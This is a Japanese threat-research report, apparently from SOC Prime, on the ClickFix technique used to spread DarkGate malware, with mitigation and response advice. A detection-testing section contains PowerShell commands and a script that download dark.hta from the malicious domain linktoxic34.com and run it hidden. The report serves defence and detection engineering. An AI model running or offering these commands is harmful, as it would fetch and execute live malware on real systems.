SOC Prime Bias: Medium

16 Dec 2025 18:08 UTC

ClickFix 事例研究: DarkGate マルウェア

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon フォローする
ClickFix 事例研究: DarkGate マルウェア
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

概要

このレポートは、ユーザーにPowerShellコマンドをコピーして実行するように説得するClickFixと呼ばれるソーシャルエンジニアリング手法を概説しています。このコマンドは悪意のあるHTAファイルをダウンロードします。このHTAファイルはさらに、ディレクトリを作成し、ファイルをドロップし、C2通信を確立するAutoItスクリプトを含む追加コンポーネントを引き込みます。この活動はDarkGateキャンペーンに帰属されており、base64難読化とクリップボードの改ざんに依存して簡単な検出を避けています。

調査

アナリストは、偽のブラウザ拡張機能アラートページに埋め込まれた複数の層のbase64エンコードコンテンツを解明し、linktoxic34.comからdark.htaを取得するPowerShellコマンドを回収しました。これが実行されると、AutoIt実行ファイル(fckhffh.a3x)をデプロイし、DESルーチンを実行してさらなるペイロードを開始します。ネットワークテレメトリには悪意のあるドメインへのHTTP(S)トラフィックが示され、連鎖したPowerShellスクリプトの実行が続きます。

緩和策

推奨される防御策には、未知のコードスニペットをコピーしないようにするユーザー意識の向上、グループポリシーを通じたWindows Runダイアログの無効化、振る舞いベースのアンチウイルスソリューションの展開が含まれます。悪意のあるドメインのプロアクティブなブロックと、異常なPowerShellの実行の監視は、DarkGate感染のリスクを大幅に減少させることができます。

対応

ClickFix関連のイベントが確認された場合、影響を受けたエンドポイントを隔離し、すべての悪意あるプロセスを停止し、HTAとAutoItアーティファクトを削除し、侵入中に作成されたすべてのフォルダーをフォレンジック分析します。疑わしいPowerShellとHTAの実行パターンをフラグするように検出ロジックを更新し、関連するドメインが環境全体でブロックされていることを確認します。

攻撃フロー

シミュレーション実行

前提条件: テレメトリー&ベースラインプレフライトチェックが合格していること。

理由: このセクションでは、検出ルールをトリガーするように設計された敵対的技術(TTP)の正確な実行を詳細に説明します。コマンドと叙述は、直接TTPを反映する必要があり、検出ロジックによって期待される正確なテレメトリーを生成することを目指します。

  • 攻撃の説明とコマンド:
    侵害されたWindowsホストに低権限アクセスを持つ攻撃者は、ClickFixキャンペーンで使用される悪意のあるHTAペイロードをダウンロードしたいと考えています。目立たないようにするために、攻撃者は PowerShell– ネイティブなWindowsツール – を使用するため、外部バイナリは導入されません。コマンドはコンソールで直接(またはスケジュールされたタスクを介して)実行され、ルールが監視している正確なURLを含みます。ダウンロードはユーザーの %TEMP% ディレクトリ内に格納され、その後 Start-Process.

    $url = "https://linktoxic34.com/wp-content/themes/twentytwentytwo/dark.hta"
    $out = "$env:TEMPdark.hta"
    Invoke-WebRequest -Uri $url -OutFile $out
    Start-Process -FilePath $out
  • 回帰テストスクリプト: (自己完結型、上記の手順を再現)

    # ClickFix HTAダウンロードシミュレーション - Sigmaルールをトリガー
    $maliciousUrl = "https://linktoxic34.com/wp-content/themes/twentytwentytwo/dark.hta"
    $destPath = "$env:TEMPdark.hta"
    
    try {
        Write-Host "[*] 悪意のあるHTAペイロードをダウンロード中..."
        Invoke-WebRequest -Uri $maliciousUrl -OutFile $destPath -UseBasicParsing
        Write-Host "[+] ダウンロード完了。ペイロードを実行中..."
        Start-Process -FilePath $destPath -WindowStyle Hidden
    } catch {
        Write-Error "ダウンロードまたは実行が失敗しました:$_"
    }
  • クリーンアップコマンド: (ダウンロードしたHTAと実行中のインスタンスを削除)

    # HTAファイルを削除し、残留する可能性のあるプロセスを終了
    $htaPath = "$env:TEMPdark.hta"
    if (Test-Path $htaPath) {
        Remove-Item $htaPath -Force
        Write-Host "[*] HTAファイルを削除しました。"
    }
    # HTAから起動されたかもしれないプロセスを終了(汎用例)
    Get-Process | Where-Object {$_.Path -like "*dark.hta*"} | Stop-Process -Force